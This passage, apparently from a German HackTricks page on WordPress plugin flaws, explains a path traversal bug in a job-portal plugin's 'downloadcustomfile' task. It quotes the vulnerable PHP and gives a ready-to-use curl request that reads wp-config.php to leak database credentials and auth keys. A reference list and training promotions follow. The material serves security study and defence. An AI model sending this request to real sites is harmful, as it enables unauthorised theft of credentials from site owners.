Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, über path traversal jede Datei auf der Festplatte herunterzuladen. Die verwundbare Stelle befindet sich in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
wird vom Angreifer kontrolliert und ohne Bereinigung verkettet. Wieder ist das einzige Hindernis ein CSRF nonce, das von der Resume-Seite abgerufen werden kann.
Ausnutzung
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Der Server antwortet mit dem Inhalt von wp-config.php
, leaking DB credentials and auth keys.
Referenzen
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.